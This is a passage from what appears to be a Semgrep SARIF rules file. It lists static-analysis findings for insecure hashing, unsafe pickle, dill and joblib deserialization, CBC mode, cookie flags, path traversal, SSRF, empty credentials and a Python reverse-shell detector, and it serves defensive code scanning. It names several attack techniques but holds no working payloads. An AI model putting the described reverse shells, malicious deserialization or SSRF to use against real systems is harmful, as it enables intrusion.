python.django.security.injection.reflected-data-httpresponse.reflected-data-httpresponse"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of an insecure MD4 or MD5 hash function. These functions have known vulnerabilities and are considered deprecated. Consider using 'SHA256' or a similar function instead."},"help":{"markdown":"Detected use of an insecure MD4 or MD5 hash function. These functions have known vulnerabilities and are considered deprecated. Consider using 'SHA256' or a similar function instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.insecure-hash-function.insecure-hash-function)\n - [https://tools.ietf.org/html/rfc6151](https://tools.ietf.org/html/rfc6151)\n - [https://crypto.stackexchange.com/questions/44151/how-does-the-flame-malware-take-advantage-of-md5-collision](https://crypto.stackexchange.com/questions/44151/how-does-the-flame-malware-take-advantage-of-md5-collision)\n - [https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html](https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html)\n","text":"Detected use of an insecure MD4 or MD5 hash function. These functions have known vulnerabilities and are considered deprecated. Consider using 'SHA256' or a similar function instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.insecure-hash-function.insecure-hash-function","id":"python.lang.security.insecure-hash-function.insecure-hash-function","name":"python.lang.security.insecure-hash-function.insecure-hash-function","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.insecure-hash-function.insecure-hash-function"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Semgrep found a Python reverse shell using $BINPATH to $IP at $PORT"},"help":{"markdown":"Semgrep found a Python reverse shell using $BINPATH to $IP at $PORT\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.python-reverse-shell.python-reverse-shell)\n - [https://cwe.mitre.org/data/definitions/553.html](https://cwe.mitre.org/data/definitions/553.html)\n","text":"Semgrep found a Python reverse shell using $BINPATH to $IP at $PORT"},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.python-reverse-shell.python-reverse-shell","id":"python.lang.security.audit.python-reverse-shell.python-reverse-shell","name":"python.lang.security.audit.python-reverse-shell.python-reverse-shell","properties":{"precision":"very-high","tags":["CWE-553: Command Shell in Externally Accessible Directory","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.python-reverse-shell.python-reverse-shell"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid using `dill`, which uses `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"help":{"markdown":"Avoid using `dill`, which uses `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.deserialization.pickle.avoid-dill)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n","text":"Avoid using `dill`, which uses `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"helpUri":"https://semgrep.dev/r/python.lang.security.deserialization.pickle.avoid-dill","id":"python.lang.security.deserialization.pickle.avoid-dill","name":"python.lang.security.deserialization.pickle.avoid-dill","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.deserialization.pickle.avoid-dill"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Symmetric cryptographic operations were identified that use Cipher Block Chaining (CBC) mode. AES in CBC mode provides unauthenticated cryptographic encryption. CBC is also malleable, meaning that an attacker can influence the decrypted plaintext by modifying bits of the ciphertext (bit flipping attacks). Consider using an authenticated encryption mechanism, such as AES-GCM or ChaChaPoly. If CBC mode is **required**, consider augmenting the encryption with authentication by signing the ciphertexts with a Message Authentication Code (e.g. HMAC)."},"help":{"markdown":"Symmetric cryptographic operations were identified that use Cipher Block Chaining (CBC) mode. AES in CBC mode provides unauthenticated cryptographic encryption. CBC is also malleable, meaning that an attacker can influence the decrypted plaintext by modifying bits of the ciphertext (bit flipping attacks). Consider using an authenticated encryption mechanism, such as AES-GCM or ChaChaPoly. If CBC mode is **required**, consider augmenting the encryption with authentication by signing the ciphertexts with a Message Authentication Code (e.g. HMAC).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-cbc-mode.insecure-crypto-cbc-mode)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n - [https://zhangzeyu2001.medium.com/attacking-cbc-mode-bit-flipping-7e0a1c185511](https://zhangzeyu2001.medium.com/attacking-cbc-mode-bit-flipping-7e0a1c185511)\n - [https://arxumpathsecurity.com/blog/2019/10/16/cbc-mode-is-malleable-dont-trust-it-for-authentication](https://arxumpathsecurity.com/blog/2019/10/16/cbc-mode-is-malleable-dont-trust-it-for-authentication)\n","text":"Symmetric cryptographic operations were identified that use Cipher Block Chaining (CBC) mode. AES in CBC mode provides unauthenticated cryptographic encryption. CBC is also malleable, meaning that an attacker can influence the decrypted plaintext by modifying bits of the ciphertext (bit flipping attacks). Consider using an authenticated encryption mechanism, such as AES-GCM or ChaChaPoly. If CBC mode is **required**, consider augmenting the encryption with authentication by signing the ciphertexts with a Message Authentication Code (e.g. HMAC)."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-cbc-mode.insecure-crypto-cbc-mode","id":"swift.commoncrypto.insecure-crypto-cbc-mode.insecure-crypto-cbc-mode","name":"swift.commoncrypto.insecure-crypto-cbc-mode.insecure-crypto-cbc-mode","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-crypto-cbc-mode.insecure-crypto-cbc-mode"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of the SHA1 hashing algorithm was identified which is considered insecure. SHA1 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt. **Note**: SHA1 is still considered acceptable when used for Message Authentication Purposes, e.g. with HMAC although better and stronger algorithms should be strongly considered."},"help":{"markdown":"The use of the SHA1 hashing algorithm was identified which is considered insecure. SHA1 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt. **Note**: SHA1 is still considered acceptable when used for Message Authentication Purposes, e.g. with HMAC although better and stronger algorithms should be strongly considered.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-hashing-algorithm-sha1.insecure-hashing-algorithm-sha1)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"The use of the SHA1 hashing algorithm was identified which is considered insecure. SHA1 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt. **Note**: SHA1 is still considered acceptable when used for Message Authentication Purposes, e.g. with HMAC although better and stronger algorithms should be strongly considered."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-hashing-algorithm-sha1.insecure-hashing-algorithm-sha1","id":"swift.commoncrypto.insecure-hashing-algorithm-sha1.insecure-hashing-algorithm-sha1","name":"swift.commoncrypto.insecure-hashing-algorithm-sha1.insecure-hashing-algorithm-sha1","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-hashing-algorithm-sha1.insecure-hashing-algorithm-sha1"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.web.django-cookie-secure-missing.django-cookie-secure-missing)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"helpUri":"https://semgrep.dev/r/python.django.web.django-cookie-secure-missing.django-cookie-secure-missing","id":"python.django.web.django-cookie-secure-missing.django-cookie-secure-missing","name":"python.django.web.django-cookie-secure-missing.django-cookie-secure-missing","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.web.django-cookie-secure-missing.django-cookie-secure-missing"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Make sure that unverified user data can not reach `sandbox`."},"help":{"markdown":"Make sure that unverified user data can not reach `sandbox`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-sandbox-injection.express-sandbox-code-injection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html)\n","text":"Make sure that unverified user data can not reach `sandbox`."},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-sandbox-injection.express-sandbox-code-injection","id":"javascript.express.security.express-sandbox-injection.express-sandbox-code-injection","name":"javascript.express.security.express-sandbox-injection.express-sandbox-code-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-sandbox-injection.express-sandbox-code-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-pickle-aws-lambda.tainted-pickle-aws-lambda)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-pickle-aws-lambda.tainted-pickle-aws-lambda","id":"python.aws-lambda.deserialization.tainted-pickle-aws-lambda.tainted-pickle-aws-lambda","name":"python.aws-lambda.deserialization.tainted-pickle-aws-lambda.tainted-pickle-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-pickle-aws-lambda.tainted-pickle-aws-lambda"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `joblib.load()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `joblib.load()` function uses `pickle` for object deserialization and should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-joblib-flask.tainted-joblib-flask)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://joblib.readthedocs.io/en/latest/generated/joblib.load.html/](https://joblib.readthedocs.io/en/latest/generated/joblib.load.html/)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `joblib.load()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-joblib-flask.tainted-joblib-flask","id":"python.flask.deserialization.tainted-joblib-flask.tainted-joblib-flask","name":"python.flask.deserialization.tainted-joblib-flask.tainted-joblib-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-joblib-flask.tainted-joblib-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The SimpleTypeResolver class is insecure and should not be used. Using SimpleTypeResolver to deserialize JSON could allow the remote client to execute malicious code within the app and take control of the web server."},"help":{"markdown":"The SimpleTypeResolver class is insecure and should not be used. Using SimpleTypeResolver to deserialize JSON could allow the remote client to execute malicious code within the app and take control of the web server.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.javascript-serializer.insecure-javascriptserializer-deserialization)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.web.script.serialization.simpletyperesolver?view=netframework-4.8#remarks](https://docs.microsoft.com/en-us/dotnet/api/system.web.script.serialization.simpletyperesolver?view=netframework-4.8#remarks)\n","text":"The SimpleTypeResolver class is insecure and should not be used. Using SimpleTypeResolver to deserialize JSON could allow the remote client to execute malicious code within the app and take control of the web server."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.javascript-serializer.insecure-javascriptserializer-deserialization","id":"csharp.lang.security.insecure-deserialization.javascript-serializer.insecure-javascriptserializer-deserialization","name":"csharp.lang.security.insecure-deserialization.javascript-serializer.insecure-javascriptserializer-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.javascript-serializer.insecure-javascriptserializer-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.file.tainted-path-traversal-stdlib-django.tainted-path-traversal-stdlib-django)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/](https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.django.file.tainted-path-traversal-stdlib-django.tainted-path-traversal-stdlib-django","id":"python.django.file.tainted-path-traversal-stdlib-django.tainted-path-traversal-stdlib-django","name":"python.django.file.tainted-path-traversal-stdlib-django.tainted-path-traversal-stdlib-django","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.file.tainted-path-traversal-stdlib-django.tainted-path-traversal-stdlib-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `joblib.load()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `joblib.load()` function uses `pickle` for object deserialization and should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-joblib-fastapi.tainted-joblib-fastapi)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://joblib.readthedocs.io/en/latest/generated/joblib.load.html/](https://joblib.readthedocs.io/en/latest/generated/joblib.load.html/)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `joblib.load()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-joblib-fastapi.tainted-joblib-fastapi","id":"python.fastapi.deserialization.tainted-joblib-fastapi.tainted-joblib-fastapi","name":"python.fastapi.deserialization.tainted-joblib-fastapi.tainted-joblib-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-joblib-fastapi.tainted-joblib-fastapi"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.web.django-cookie-httponly-false.django-cookie-httponly-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"helpUri":"https://semgrep.dev/r/python.django.web.django-cookie-httponly-false.django-cookie-httponly-false","id":"python.django.web.django-cookie-httponly-false.django-cookie-httponly-false","name":"python.django.web.django-cookie-httponly-false.django-cookie-httponly-false","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.web.django-cookie-httponly-false.django-cookie-httponly-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application exports an activity. Any application on the device can launch the exported activity which may compromise the integrity of your application or its data.  Ensure that any exported activities do not have privileged access to your application's control plane."},"help":{"markdown":"The application exports an activity. Any application on the device can launch the exported activity which may compromise the integrity of your application or its data.  Ensure that any exported activities do not have privileged access to your application's control plane.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.android.security.exported_activity.exported_activity)\n - [https://cwe.mitre.org/data/definitions/926.html](https://cwe.mitre.org/data/definitions/926.html)\n","text":"The application exports an activity. Any application on the device can launch the exported activity which may compromise the integrity of your application or its data.  Ensure that any exported activities do not have privileged access to your application's control plane."},"helpUri":"https://semgrep.dev/r/java.android.security.exported_activity.exported_activity","id":"java.android.security.exported_activity.exported_activity","name":"java.android.security.exported_activity.exported_activity","properties":{"precision":"very-high","tags":["CWE-926: Improper Export of Android Application Components","MEDIUM CONFIDENCE","OWASP-A5:2021 Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.android.security.exported_activity.exported_activity"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.ssrf.java-http-concat-taint-sls.java-http-concat-taint-sls)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.micronaut.ssrf.java-http-concat-taint-sls.java-http-concat-taint-sls","id":"java.micronaut.ssrf.java-http-concat-taint-sls.java-http-concat-taint-sls","name":"java.micronaut.ssrf.java-http-concat-taint-sls.java-http-concat-taint-sls","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.ssrf.java-http-concat-taint-sls.java-http-concat-taint-sls"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.tokio-postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password)\n - [https://docs.rs/tokio-postgres/latest/tokio_postgres/](https://docs.rs/tokio-postgres/latest/tokio_postgres/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.tokio-postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password","id":"rust.secrets.tokio-postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password","name":"rust.secrets.tokio-postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.tokio-postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The number of bytes copied from `$STR` does not include the NUL terminator. This can lead to an out-of-bounds read and information disclosure. One extra byte should be added to the length to ensure that the NUL terminator is copied."},"help":{"markdown":"The number of bytes copied from `$STR` does not include the NUL terminator. This can lead to an out-of-bounds read and information disclosure. One extra byte should be added to the length to ensure that the NUL terminator is copied.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.missing-nul-cpp-string-memcpy.missing-nul-cpp-string-memcpy)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator](https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator)\n","text":"The number of bytes copied from `$STR` does not include the NUL terminator. This can lead to an out-of-bounds read and information disclosure. One extra byte should be added to the length to ensure that the NUL terminator is 